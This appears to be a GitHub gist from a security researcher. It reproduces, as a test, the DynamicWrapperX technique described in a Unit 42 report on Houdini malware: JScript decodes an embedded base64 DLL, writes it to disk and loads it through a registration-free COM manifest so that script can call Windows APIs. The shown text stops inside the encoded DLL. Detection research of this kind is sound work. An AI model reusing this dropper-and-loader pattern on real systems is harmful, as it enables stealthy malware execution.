Skip to content

Instantly share code, notes, and snippets.

@MHaggis
Created February 2, 2022 13:59
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save MHaggis/3387034ed5f376c04b6b7ee2615114d0 to your computer and use it in GitHub Desktop.
Save MHaggis/3387034ed5f376c04b6b7ee2615114d0 to your computer and use it in GitHub Desktop.
DynamicWrapperX - Register Code Example
//Example Reference:
// https://unit42.paloaltonetworks.com/unit42-houdinis-magic-reappearance/
// Test
new ActiveXObject('WScript.Shell').Environment('Process')('TMP') = 'C:\\Tools';
// Change that C:\\Tools to a location you specify, or dynamically find current directory.
// ActCTX will search for the DLL in TMP
var manifest = '<?xml version="1.0" encoding="UTF-16" standalone="yes"?> <assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0"> <assemblyIdentity type="win32" name="DynamicWrapperX" version="2.2.0.0"/> <file name="dynwrapx.dll"> <comClass description="DynamicWrapperX Class" clsid="{89565276-A714-4a43-912E-978B935EDCCC}" threadingModel="Both" progid="DynamicWrapperX"/> </file> </assembly>';
var fso = new ActiveXObject("Scripting.FileSystemObject");
var dropPath = fso.GetSpecialFolder(2);
// Create Base64 Object, supports encode, decode
var Base64={characters:"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=",encode:function(a){Base64.characters;var r="",c=0;do{var e=a.charCodeAt(c++),t=a.charCodeAt(c++),h=a.charCodeAt(c++),s=(e=e||0)>>2&63,A=(3&e)<<4|(t=t||0)>>4&15,o=(15&t)<<2|(h=h||0)>>6&3,B=63&h;t?h||(B=64):o=B=64,r+=Base64.characters.charAt(s)+Base64.characters.charAt(A)+Base64.characters.charAt(o)+Base64.characters.charAt(B)}while(c<a.length);return r}};
//Magic is just a cool way to decode to byte array ;
function Magic(r){if(!/^[a-z0-9+/]+={0,2}$/i.test(r)||r.length%4!=0)throw Error("Not base64 string");for(var t,e,n,o,i,a,f="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=",h=[],d=0;d<r.length;d+=4)t=(a=f.indexOf(r.charAt(d))<<18|f.indexOf(r.charAt(d+1))<<12|(o=f.indexOf(r.charAt(d+2)))<<6|(i=f.indexOf(r.charAt(d+3))))>>>16&255,e=a>>>8&255,n=255&a,h[d/4]=String.fromCharCode(t,e,n),64==i&&(h[d/4]=String.fromCharCode(t,e)),64==o&&(h[d/4]=String.fromCharCode(t));return r=h.join("")}
function binaryWriter(res,filename)
{var base64decoded=Magic(res);var TextStream=new ActiveXObject('ADODB.Stream');TextStream.Type=2;TextStream.charSet='iso-8859-1';TextStream.Open();TextStream.WriteText(base64decoded);var BinaryStream=new ActiveXObject('ADODB.Stream');BinaryStream.Type=1;BinaryStream.Open();TextStream.Position=0;TextStream.CopyTo(BinaryStream);BinaryStream.SaveToFile(filename,2);BinaryStream.Close()}
// x64 dynwrapx.dll v 2.2.0 http://dynwrapx.script-coding.com/dwx/pages/dynwrapx.php?lang=en
var dynwrapX = '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